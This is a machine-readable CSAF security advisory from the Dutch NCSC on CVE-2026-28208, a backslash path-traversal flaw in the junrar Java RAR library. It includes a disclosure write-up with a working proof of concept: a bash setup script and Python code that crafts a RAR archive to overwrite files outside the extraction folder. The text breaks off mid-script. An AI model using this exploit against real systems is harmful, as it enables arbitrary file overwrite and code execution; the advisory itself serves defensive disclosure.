{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-28208",
        "tracking": {
            "current_release_date": "2026-03-29T18:48:32.782188Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-28208",
            "initial_release_date": "2026-02-26T22:38:40.117155Z",
            "revision_history": [
                {
                    "date": "2026-02-26T22:38:40.117155Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-02-26T22:38:43.347099Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-02-26T23:28:51.438681Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-02-26T23:28:59.100763Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-27T07:35:03.083410Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-27T14:37:01.838035Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-02-27T14:37:05.575337Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-27T18:26:07.875786Z",
                    "number": "8",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-02-27T18:26:10.203929Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-27T22:39:38.631109Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-02-27T22:39:48.884134Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-28T00:28:36.366426Z",
                    "number": "12",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (3).| Product Identifiers created (3).| Product Remediations created (6).| Products created (3).| References created (5).| CWES updated (1).| Vendor_assessment created."
                },
                {
                    "date": "2026-02-28T00:28:38.308628Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-02-28T14:01:06.371018Z",
                    "number": "14",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (18).| Products created (9).| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-02-28T18:33:40.700109Z",
                    "number": "15",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (15).| Product Identifiers created (24).| Products created (10).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-01T03:30:15.182338Z",
                    "number": "16",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-02T21:38:51.542299Z",
                    "number": "17",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-02T21:38:53.670046Z",
                    "number": "18",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:38:03.978172Z",
                    "number": "19",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:38:07.764787Z",
                    "number": "20",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-29T18:48:17.821428Z",
                    "number": "21",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (6).| CWES updated (1)."
                },
                {
                    "date": "2026-03-29T18:48:25.123596Z",
                    "number": "22",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "22"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/7",
                                "product": {
                                    "name": "vers:rpm/7",
                                    "product_id": "CSAFPID-1439294",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:jboss_fuse:7"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat Fuse 7"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/8",
                                "product": {
                                    "name": "vers:rpm/8",
                                    "product_id": "CSAFPID-1439302",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:jboss_enterprise_application_platform:8"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat JBoss Enterprise Application Platform 8"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:rpm/unknown",
                                "product": {
                                    "name": "vers:rpm/unknown",
                                    "product_id": "CSAFPID-1439304",
                                    "product_identification_helper": {
                                        "cpe": "cpe:/a:redhat:jbosseapxp"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Red Hat JBoss Enterprise Application Platform Expansion Pack"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-5736865"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "junrar"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat Fuse 7"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-5736866"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "junrar"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat JBoss Enterprise Application Platform 8"
                    },
                    {
                        "branches": [
                            {
                                "branches": [
                                    {
                                        "category": "product_version_range",
                                        "name": "vers:rpm/unknown",
                                        "product": {
                                            "name": "vers:rpm/unknown",
                                            "product_id": "CSAFPID-5736867"
                                        }
                                    }
                                ],
                                "category": "product_name",
                                "name": "junrar"
                            }
                        ],
                        "category": "product_family",
                        "name": "Red Hat JBoss Enterprise Application Platform Expansion Pack"
                    }
                ],
                "category": "vendor",
                "name": "Red Hat"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.7",
                                "product": {
                                    "name": "vers:unknown/0.7",
                                    "product_id": "CSAFPID-4926333",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@0.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.0",
                                "product": {
                                    "name": "vers:unknown/1.0.0",
                                    "product_id": "CSAFPID-4926334",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@1.0.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.1",
                                "product": {
                                    "name": "vers:unknown/1.0.1",
                                    "product_id": "CSAFPID-4926335",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@1.0.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/2.0.0",
                                "product": {
                                    "name": "vers:unknown/2.0.0",
                                    "product_id": "CSAFPID-4926336",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@2.0.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/3.0.0",
                                "product": {
                                    "name": "vers:unknown/3.0.0",
                                    "product_id": "CSAFPID-4926337",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@3.0.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/3.1.0",
                                "product": {
                                    "name": "vers:unknown/3.1.0",
                                    "product_id": "CSAFPID-4926338",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@3.1.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/4.0.0",
                                "product": {
                                    "name": "vers:unknown/4.0.0",
                                    "product_id": "CSAFPID-4926339",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@4.0.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/5.0.0",
                                "product": {
                                    "name": "vers:unknown/5.0.0",
                                    "product_id": "CSAFPID-4926340",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@5.0.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/6.0.0",
                                "product": {
                                    "name": "vers:unknown/6.0.0",
                                    "product_id": "CSAFPID-4926341",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@6.0.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/6.0.1",
                                "product": {
                                    "name": "vers:unknown/6.0.1",
                                    "product_id": "CSAFPID-4926342",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@6.0.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.0.0",
                                "product": {
                                    "name": "vers:unknown/7.0.0",
                                    "product_id": "CSAFPID-4926343",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.0.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.1.0",
                                "product": {
                                    "name": "vers:unknown/7.1.0",
                                    "product_id": "CSAFPID-4926344",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.1.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.2.0",
                                "product": {
                                    "name": "vers:unknown/7.2.0",
                                    "product_id": "CSAFPID-4926345",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.2.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.3.0",
                                "product": {
                                    "name": "vers:unknown/7.3.0",
                                    "product_id": "CSAFPID-4926346",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.3.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.4.0",
                                "product": {
                                    "name": "vers:unknown/7.4.0",
                                    "product_id": "CSAFPID-4926347",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.4.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.4.1",
                                "product": {
                                    "name": "vers:unknown/7.4.1",
                                    "product_id": "CSAFPID-5751058",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.4.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.5.0",
                                "product": {
                                    "name": "vers:unknown/7.5.0",
                                    "product_id": "CSAFPID-5751059",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.5.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.5.1",
                                "product": {
                                    "name": "vers:unknown/7.5.1",
                                    "product_id": "CSAFPID-5751060",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.5.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.5.2",
                                "product": {
                                    "name": "vers:unknown/7.5.2",
                                    "product_id": "CSAFPID-5751061",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.5.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.5.3",
                                "product": {
                                    "name": "vers:unknown/7.5.3",
                                    "product_id": "CSAFPID-5751062",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.5.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.5.4",
                                "product": {
                                    "name": "vers:unknown/7.5.4",
                                    "product_id": "CSAFPID-5751063",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.5.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.5.5",
                                "product": {
                                    "name": "vers:unknown/7.5.5",
                                    "product_id": "CSAFPID-5751064",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.5.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.5.6",
                                "product": {
                                    "name": "vers:unknown/7.5.6",
                                    "product_id": "CSAFPID-5751065",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.5.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.5.7",
                                "product": {
                                    "name": "vers:unknown/7.5.7",
                                    "product_id": "CSAFPID-5751066",
                                    "product_identification_helper": {
                                        "purl": "pkg:maven/com.github.junrar/junrar@7.5.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<7.5.8",
                                "product": {
                                    "name": "vers:unknown/<7.5.8",
                                    "product_id": "CSAFPID-5733118"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<7.5.8",
                                "product": {
                                    "name": "vers:unknown/>=0|<7.5.8",
                                    "product_id": "CSAFPID-5751067"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/junrar-0.6",
                                "product": {
                                    "name": "vers:unknown/junrar-0.6",
                                    "product_id": "CSAFPID-3271945"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/junrar-0.7",
                                "product": {
                                    "name": "vers:unknown/junrar-0.7",
                                    "product_id": "CSAFPID-3271946"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/junrar-1.0.0",
                                "product": {
                                    "name": "vers:unknown/junrar-1.0.0",
                                    "product_id": "CSAFPID-3271947"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/junrar-1.0.1",
                                "product": {
                                    "name": "vers:unknown/junrar-1.0.1",
                                    "product_id": "CSAFPID-4263957"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/junrar-2.0.0",
                                "product": {
                                    "name": "vers:unknown/junrar-2.0.0",
                                    "product_id": "CSAFPID-4263958"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/junrar-3.0.0",
                                "product": {
                                    "name": "vers:unknown/junrar-3.0.0",
                                    "product_id": "CSAFPID-4263959"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/junrar-3.1.0",
                                "product": {
                                    "name": "vers:unknown/junrar-3.1.0",
                                    "product_id": "CSAFPID-4263960"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/junrar-3.1.1",
                                "product": {
                                    "name": "vers:unknown/junrar-3.1.1",
                                    "product_id": "CSAFPID-4263961"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/junrar-4.0.0",
                                "product": {
                                    "name": "vers:unknown/junrar-4.0.0",
                                    "product_id": "CSAFPID-4263962"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v4.0.0",
                                "product": {
                                    "name": "vers:unknown/v4.0.0",
                                    "product_id": "CSAFPID-4263963"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v5.0.0",
                                "product": {
                                    "name": "vers:unknown/v5.0.0",
                                    "product_id": "CSAFPID-4263964"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v6.0.0",
                                "product": {
                                    "name": "vers:unknown/v6.0.0",
                                    "product_id": "CSAFPID-4263965"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v6.0.1",
                                "product": {
                                    "name": "vers:unknown/v6.0.1",
                                    "product_id": "CSAFPID-4263966"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.0.0",
                                "product": {
                                    "name": "vers:unknown/v7.0.0",
                                    "product_id": "CSAFPID-4263967"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.1.0",
                                "product": {
                                    "name": "vers:unknown/v7.1.0",
                                    "product_id": "CSAFPID-4263968"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.2.0",
                                "product": {
                                    "name": "vers:unknown/v7.2.0",
                                    "product_id": "CSAFPID-4263969"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.3.0",
                                "product": {
                                    "name": "vers:unknown/v7.3.0",
                                    "product_id": "CSAFPID-4263970"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.4.0",
                                "product": {
                                    "name": "vers:unknown/v7.4.0",
                                    "product_id": "CSAFPID-4263971"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.4.1",
                                "product": {
                                    "name": "vers:unknown/v7.4.1",
                                    "product_id": "CSAFPID-5749570"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.5.0",
                                "product": {
                                    "name": "vers:unknown/v7.5.0",
                                    "product_id": "CSAFPID-5749571"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.5.1",
                                "product": {
                                    "name": "vers:unknown/v7.5.1",
                                    "product_id": "CSAFPID-5749572"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.5.2",
                                "product": {
                                    "name": "vers:unknown/v7.5.2",
                                    "product_id": "CSAFPID-5749573"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.5.3",
                                "product": {
                                    "name": "vers:unknown/v7.5.3",
                                    "product_id": "CSAFPID-5749574"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.5.4",
                                "product": {
                                    "name": "vers:unknown/v7.5.4",
                                    "product_id": "CSAFPID-5749575"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.5.5",
                                "product": {
                                    "name": "vers:unknown/v7.5.5",
                                    "product_id": "CSAFPID-5749576"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.5.6",
                                "product": {
                                    "name": "vers:unknown/v7.5.6",
                                    "product_id": "CSAFPID-5749577"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/v7.5.7",
                                "product": {
                                    "name": "vers:unknown/v7.5.7",
                                    "product_id": "CSAFPID-5749578"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "junrar"
                    }
                ],
                "category": "vendor",
                "name": "junrar"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<7.5.8",
                                "product": {
                                    "name": "vers:unknown/<7.5.8",
                                    "product_id": "CSAFPID-5736023",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:junrar_project:junrar:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "junrar"
                    }
                ],
                "category": "vendor",
                "name": "junrar_project"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/7.5.8",
                                "product": {
                                    "name": "vers:unknown/7.5.8",
                                    "product_id": "CSAFPID-5961933"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "maven/com.github.junrar/junrar"
                    }
                ],
                "category": "vendor",
                "name": "com.github.junrar"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-28208",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "Junrar is an open source java RAR archive library. Prior to version 7.5.8, a backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). Version 7.5.8 has a fix for the issue.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-28208"
                },
                {
                    "category": "description",
                    "text": "Junrar is an open source java RAR archive library. Prior to version 7.5.8, a backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). Version 7.5.8 has a fix for the issue.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-28208"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nA backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).\n\n### Details\n\nThe `createFile()` method in [`LocalFolderExtractor.java`](https://github.com/junrar/junrar/blob/master/src/main/java/com/github/junrar/LocalFolderExtractor.java) validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory:\n\n```java\nFile f = new File(destination, name);\nString dirCanonPath = f.getCanonicalPath();\nif (!dirCanonPath.startsWith(destination.getCanonicalPath())) {\n    throw new IllegalStateException(\"Rar contains file with invalid path: '\" + dirCanonPath + \"'\");\n}\n```\n\nOn Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\\..\\tmp\\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters — no `..` resolution occurs, and the `startsWith` check passes.\n\nHowever, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform's file separator:\n\n```java\nfinal String[] dirs = name.split(\"\\\\\\\\\");\n// dirs = [\"..\", \"..\", \"tmp\", \"evil.txt\"]\n// ...\npath = path + File.separator + dirs[i];  // File.separator is \"/\" on Linux\n```\n\nThis converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory.\n\nOn Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal.\n\n**Affected versions:** Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`.\n\n### PoC (Files Below)\n\n**Prerequisites:** Linux/Unix system with Java 17+ and Maven installed.\n\n1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\\..\\tmp\\existing-file`), and creates `/tmp/existing-file` with the content \"Existing File\" to simulate a pre-existing file.\n2. Run `mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q`\n3. Observe the output shows `/tmp/existing-file` was overwritten from \"Existing File\" to \"Overwritten\", confirming the file outside the extraction directory was written with attacker-controlled content.\n\nThe PoC uses `Junrar.extract()` — the standard public API for extracting RAR archives.\n\n### Impact\n\nAny application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE.\n\nThis affects all Linux/Unix deployments. Windows is not affected.\n\n## POC Files\n\n**poc_setup.sh**\n```\n#!/bin/bash\n# Setup script for junrar backslash path traversal PoC\n# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor\n# Package: com.github.junrar:junrar 7.5.7 (Java)\n\nset -e\n\n# Use the directory where this script lives as the working directory\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\ncd \"$SCRIPT_DIR\"\n\necho \"=== Setting up junrar backslash path traversal PoC ===\"\necho \"Working directory: $SCRIPT_DIR\"\n\n# Clean up artifacts from previous runs\nrm -f malicious.rar\nrm -rf target extraction-output\n\n# Verify Java and Maven are available\njava -version 2>&1 | head -1 || { echo \"ERROR: Java not found\"; exit 1; }\nmvn -version 2>&1 | head -1 || { echo \"ERROR: Maven not found\"; exit 1; }\n\n# Create Maven project\ncat > pom.xml << 'POMEOF'\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>com.test</groupId>\n    <artifactId>junrar-poc</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n    <properties>\n        <maven.compiler.source>17</maven.compiler.source>\n        <maven.compiler.target>17</maven.compiler.target>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    </properties>\n    <dependencies>\n        <dependency>\n            <groupId>com.github.junrar</groupId>\n            <artifactId>junrar</artifactId>\n            <version>7.5.7</version>\n        </dependency>\n    </dependencies>\n</project>\nPOMEOF\n\n# Install dependencies\necho \"Installing junrar 7.5.7...\"\nmvn dependency:resolve -q\n\n# Copy and compile PoC\nmkdir -p src/main/java/com/test\ncp poc.java src/main/java/com/test/BackslashTraversalPoC.java\necho \"Compiling PoC...\"\nmvn compile -q\n\n# Verify junrar version\necho \"Installed: junrar 7.5.7\"\n\n# Create the malicious RAR3 archive:\n#   Entry 1: file with name \"..\\..\\tmp\\existing-file\" containing \"Overwritten\"\n#\n# On Linux, createFile() validates the path using getCanonicalPath().startsWith().\n# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT\n# resolve the \"..\" components, so the check passes. makeFile() then splits on\n# backslashes and joins with File.separator (/), converting the literal backslashes\n# into real directory traversal: ../../tmp/existing-file\npython3 << 'PYEOF'\nimport struct, zlib\n\nRAR3_MAGIC = b'Rar!\\x1a\\x07\\x00'\nRAR_BLOCK_MAIN = 0x73\nRAR_BLOCK_FILE = 0x74\nRAR_BLOCK_ENDARC = 0x7b\nRAR_LONG_BLOCK = 0x8000\nRAR_OS_UNIX = 3\nRAR_M0 = 0x30      # Store (no compression)\nS_IFREG = 0o100000\n\ndef crc16(data):\n    return zlib.crc32(data) & 0xFFFF\n\ndef main_header():\n    # Standard RAR3 main archive header (non-encrypted)\n    # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)\n    # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)\n    extra = struct.pack('<HI', 0, 0)  # HighPosAv=0, PosAv=0\n    header_data = struct.pack('<BHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra\n    return struct.pack('<H', crc16(header_data)) + header_data\n\ndef file_block(filename, file_data):\n    fname = filename.encode('utf-8')\n    data = file_data.encode('utf-8')\n    mode = S_IFREG | 0o644\n    # UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30,\n    # then falls through to a switch on UNP_VER. Using 0 avoids matching any\n    # decompression case (15/20/26/29/36), so only unstoreFile() runs.\n    file_hdr = struct.pack('<LLBLLBBHL',\n        len(data), len(data), RAR_OS_UNIX,\n        zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000,\n        0, RAR_M0, len(fname), mode)\n    header_body = struct.pack('<BHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK,\n        7 + len(file_hdr) + len(fname)) + file_hdr + fname\n    return struct.pack('<H', crc16(header_body)) + header_body + data\n\ndef endarc():\n    # junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4\n    header_data = struct.pack('<BHH', RAR_BLOCK_ENDARC, 0x4000, 7)\n    crc = crc16(header_data)\n    return struct.pack('<H', crc) + header_data\n\narchive = bytearray()\narchive += RAR3_MAGIC\narchive += main_header()\n# Backslash-separated path: on Linux, createFile() sees literal backslashes,\n# but makeFile() splits on them and joins with /\narchive += file_block('..\\\\..\\\\tmp\\\\existing-file', 'Overwritten\\n')\narchive += endarc()\n\nwith open('malicious.rar', 'wb') as f:\n    f.write(archive)\nPYEOF\necho \"Created malicious.rar\"\n\n# 